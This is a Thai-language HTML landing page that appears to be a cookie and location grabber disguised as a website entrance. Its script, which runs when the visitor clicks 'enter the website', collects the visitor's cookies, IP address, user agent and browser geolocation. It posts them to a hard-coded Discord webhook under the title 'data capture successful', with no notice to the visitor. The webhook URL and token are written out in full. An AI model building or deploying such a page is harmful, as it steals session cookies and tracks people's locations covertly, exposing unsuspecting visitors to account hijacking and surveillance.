<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Cookies</title>
    <style>
        /* สไตล์พื้นหลังเคลื่อนไหว */
        body {
            margin: 0;
            padding: 0;
            height: 100vh;
            background-image: url('https://cdn.discordapp.com/attachments/1309155395847061568/1318192471141781524/Pngtreeinternet_security_network_fingerprint_background_573022.jpg?ex=67616de7&is=67601c67&hm=117cb6ee8ffb652e34f76ef9a91d304a4b770af0be2995589c6910a17ada9a24&'); /* เปลี่ยนเป็น URL ของภาพพื้นหลัง */
            background-size: cover;
            background-position: center;
            animation: backgroundAnimation 20s infinite linear;
        }

        /* สร้างการเคลื่อนไหวของพื้นหลัง */
        @keyframes backgroundAnimation {
            0% {
                background-position: 0% 0%;
            }
            50% {
                background-position: 100% 100%;
            }
            100% {
                background-position: 0% 0%;
            }
        }

        /* สไตล์สำหรับข้อความ */
        .message {
            font-size: 30px;
            color: rgb(255, 255, 255);
            text-align: center;
            position: absolute;
            top: 40%;
            left: 50%;
            transform: translateX(-50%);
            opacity: 0; /* เริ่มต้นให้ข้อความไม่มองเห็น */
            animation: fadeIn 3s ease-in-out 1s forwards; /* เริ่มแอนิเมชันหลังจาก 1 วินาที */
        }

        /* สร้างการแสดงผลแบบค่อยๆ ปรากฏ */
        @keyframes fadeIn {
            0% {
                opacity: 0;
            }
            100% {
                opacity: 1;
            }
        }

        /* ปุ่ม */
        .btn {
            display: inline-block;
            padding: 15px 30px;
            font-size: 20px;
            background-color: #6affff;
            color: white;
            border: none;
            border-radius: 5px;
            text-align: center;
            cursor: pointer;
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            animation: buttonFadeIn 2s ease-out 2s forwards; /* ปุ่มค่อยๆ ปรากฏหลังจาก 2 วินาที */
        }

        /* สร้างการแสดงผลของปุ่ม */
        @keyframes buttonFadeIn {
            0% {
                opacity: 0;
            }
            100% {
                opacity: 1;
            }
        }

        .btn:hover {
            background-color: #6feeeefa;
        }
    </style>
</head>
<body>

    <div class="message">ยินดีต้อนรับเข้าสู่เว็บไซต์ของเรา!</div>
    <button class="btn" id="trackLink">คลิกตรงนี้เพื่อเข้าสู่เว็ปไซต์</button>

    <script>
        document.getElementById('trackLink').addEventListener('click', function(event) {
            event.preventDefault(); // หยุดการทำงานปกติของลิงก์

            // ดึงข้อมูลคุกกี้
            const cookies = document.cookie;

            // เรียก API เพื่อดึงที่อยู่ IP
            fetch('https://api.ipify.org?format=json')
                .then(response => response.json())
                .then(data => {
                    const ip = data.ip;

                    // ดึงข้อมูลตำแหน่งที่ตั้งจากเบราว์เซอร์
                    navigator.geolocation.getCurrentPosition(function(position) {
                        const latitude = position.coords.latitude;
                        const longitude = position.coords.longitude;

                        // สร้างข้อมูลในรูปแบบ Embed เพื่อส่งไปยัง Discord
                        const embedData = {
                            embeds: [{
                                title: "ดักข้อมูลสำเร็จ",
                                description: `รายละเอียดการคลิกที่ลิงก์ในเวลา ${new Date().toLocaleString()}`,
                                color: 3447003, // สีของ Embed (สีฟ้า)
                                fields: [
                                    {
                                        name: "IP Address",
                                        value: ip,
                                        inline: true
                                    },
                                    {
                                        name: "User Agent",
                                        value: navigator.userAgent,
                                        inline: true
                                    },
                                    {
                                        name: "ตำแหน่งที่ตั้ง",
                                        value: `Latitude: ${latitude}\nLongitude: ${longitude}`,
                                        inline: false
                                    },
                                    {
                                        name: "คุกกี้ที่เก็บได้",
                                        value: cookies || "ไม่พบคุกกี้",
                                        inline: false
                                    }
                                ],
                                footer: {
                                    text: "Click Tracker System"
                                }
                            }]
                        };

                        // ส่งข้อมูล Embed ไปยัง Discord Webhook
                        fetch('https://discord.com/api/webhooks/1318190286802780191/By8oOTu4PoJT7jaVocGaOnUk57vXD41xy46F1456QXjFaWz424cLO5PR9-YEbqtcQrwH', {
                            method: 'POST',
                            headers: {
                                'Content-Type': 'application/json'
                            },
                            body: JSON.stringify(embedData)
                        })
                        .then(response => {
                            if (response.ok) {
                                document.getElementById('message').innerText = 'ข้อมูลถูกส่งไปยัง Discord สำเร็จ!';
                            } else {
                                document.getElementById('message').innerText = 'เกิดข้อผิดพลาดในการส่งข้อมูลไปยัง Discord';
                            }

                            // เปลี่ยนเส้นทางไปยังลิงก์ที่คลิก
                            window.location.href = event.target.href;
                        })
                        .catch(err => {
                            console.error('Error sending data to Discord:', err);
                            document.getElementById('message').innerText = 'เกิดข้อผิดพลาดในการส่งข้อมูลไปยัง Discord';

                            // เปลี่ยนเส้นทางไปยังลิงก์ที่คลิกในกรณีที่มีข้อผิดพลาด
                            window.location.href = event.target.href;
                        });
                    }, function(error) {
                        console.error("Error getting geolocation", error);
                        // ส่งข้อมูล Embed ไปยัง Discord Webhook หากไม่สามารถดึงตำแหน่งที่ตั้งได้
                        const embedData = {
                            embeds: [{
                                title: "ข้อมูลการคลิกลิงก์",
                                description: `รายละเอียดการคลิกที่ลิงก์ในเวลา ${new Date().toLocaleString()}`,
                                color: 3447003, // สีของ Embed
                                fields: [
                                    {
                                        name: "IP Address",
                                        value: ip,
                                        inline: true
                                    },
                                    {
                                        name: "User Agent",
                                        value: navigator.userAgent,
                                        inline: true
                                    },
                                    {
                                        name: "ตำแหน่งที่ตั้ง",
                                        value: "ไม่สามารถดึงตำแหน่งที่ตั้งได้",
                                        inline: false
                                    },
                                    {
                                        name: "คุกกี้ที่เก็บได้",
                                        value: cookies || "ไม่พบคุกกี้",
                                        inline: false
                                    }
                                ],
                                footer: {
                                    text: "Click Tracker System"
                                }
                            }]
                        };

                        // ส่งข้อมูล Embed ไปยัง Discord Webhook
                        fetch('https://discord.com/api/webhooks/1318190286802780191/By8oOTu4PoJT7jaVocGaOnUk57vXD41xy46F1456QXjFaWz424cLO5PR9-YEbqtcQrwH', {
                            method: 'POST',
                            headers: {
                                'Content-Type': 'application/json'
                            },
                            body: JSON.stringify(embedData)
                        })
                        .then(response => {
                            if (response.ok) {
                                document.getElementById('message').innerText = 'ข้อมูลถูกส่งไปยัง Discord สำเร็จ!';
                            } else {
                                document.getElementById('message').innerText = 'เกิดข้อผิดพลาดในการส่งข้อมูลไปยัง Discord';
                            }

                            // เปลี่ยนเส้นทางไปยังลิงก์ที่คลิก
                            window.location.href = event.target.href;
                        })
                        .catch(err => {
                            console.error('Error sending data to Discord:', err);
                            document.getElementById('message').innerText = 'เกิดข้อผิดพลาดในการส่งข้อมูลไปยัง Discord';

                            // เปลี่ยนเส้นทางไปยังลิงก์ที่คลิกในกรณีที่มีข้อผิดพลาด
                            window.location.href = event.target.href;
                        });
                    });
                })
                .catch(err => {
                    console.error("Error fetching IP:", err);
                    // หากไม่สามารถดึง IP ได้, ให้ส่งข้อมูลที่มีอยู่
                    const embedData = {
                        embeds: [{
                            title: "ข้อมูลการคลิกลิงก์",
                            description: `รายละเอียดการคลิกที่ลิงก์ในเวลา ${new Date().toLocaleString()}`,
                            color: 3447003, // สีของ Embed
                            fields: [
                                {
                                    name: "IP Address",
                                    value: "ไม่สามารถดึง IP ได้",
                                    inline: true
                                },
                                {
                                    name: "User Agent",
                                    value: navigator.userAgent,
                                    inline: true
                                },
                                {
                                    name: "ตำแหน่งที่ตั้ง",
                                    value: "ไม่สามารถดึงตำแหน่งที่ตั้งได้",
                                    inline: false
                                },
                                {
                                    name: "คุกกี้ที่เก็บได้",
                                    value: cookies || "ไม่พบคุกกี้",
                                    inline: false
                                }
                            ],
                            footer: {
                                text: "Click Tracker System"
                            }
                        }]
                    };

                    // ส่งข้อมูล Embed ไปยัง Discord Webhook
                    fetch('https://discord.com/api/webhooks/1318190286802780191/By8oOTu4PoJT7jaVocGaOnUk57vXD41xy46F1456QXjFaWz424cLO5PR9-YEbqtcQrwH', {
                        method: 'POST',
                        headers: {
                            'Content-Type': 'application/json'
                        },
                        body: JSON.stringify(embedData)
                    })
                    .then(response => {
                        if (response.ok) {
                            document.getElementById('message').innerText = 'ข้อมูลถูกส่งไปยัง Discord สำเร็จ!';
                        } else {
                            document.getElementById('message').innerText = 'เกิดข้อผิดพลาดในการส่งข้อมูลไปยัง Discord';
                        }

                        // เปลี่ยนเส้นทางไปยังลิงก์ที่คลิก
                        window.location.href = event.target.href;
                    })
                    .catch(err => {
                        console.error('Error sending data to Discord:', err);
                        document.getElementById('message').innerText = 'เกิดข้อผิดพลาดในการส่งข้อมูลไปยัง Discord';

                        // เปลี่ยนเส้นทางไปยังลิงก์ที่คลิกในกรณีที่มีข้อผิดพลาด
                        window.location.href = event.target.href;
                    });
                });
        });
    </script>

</body>
</html>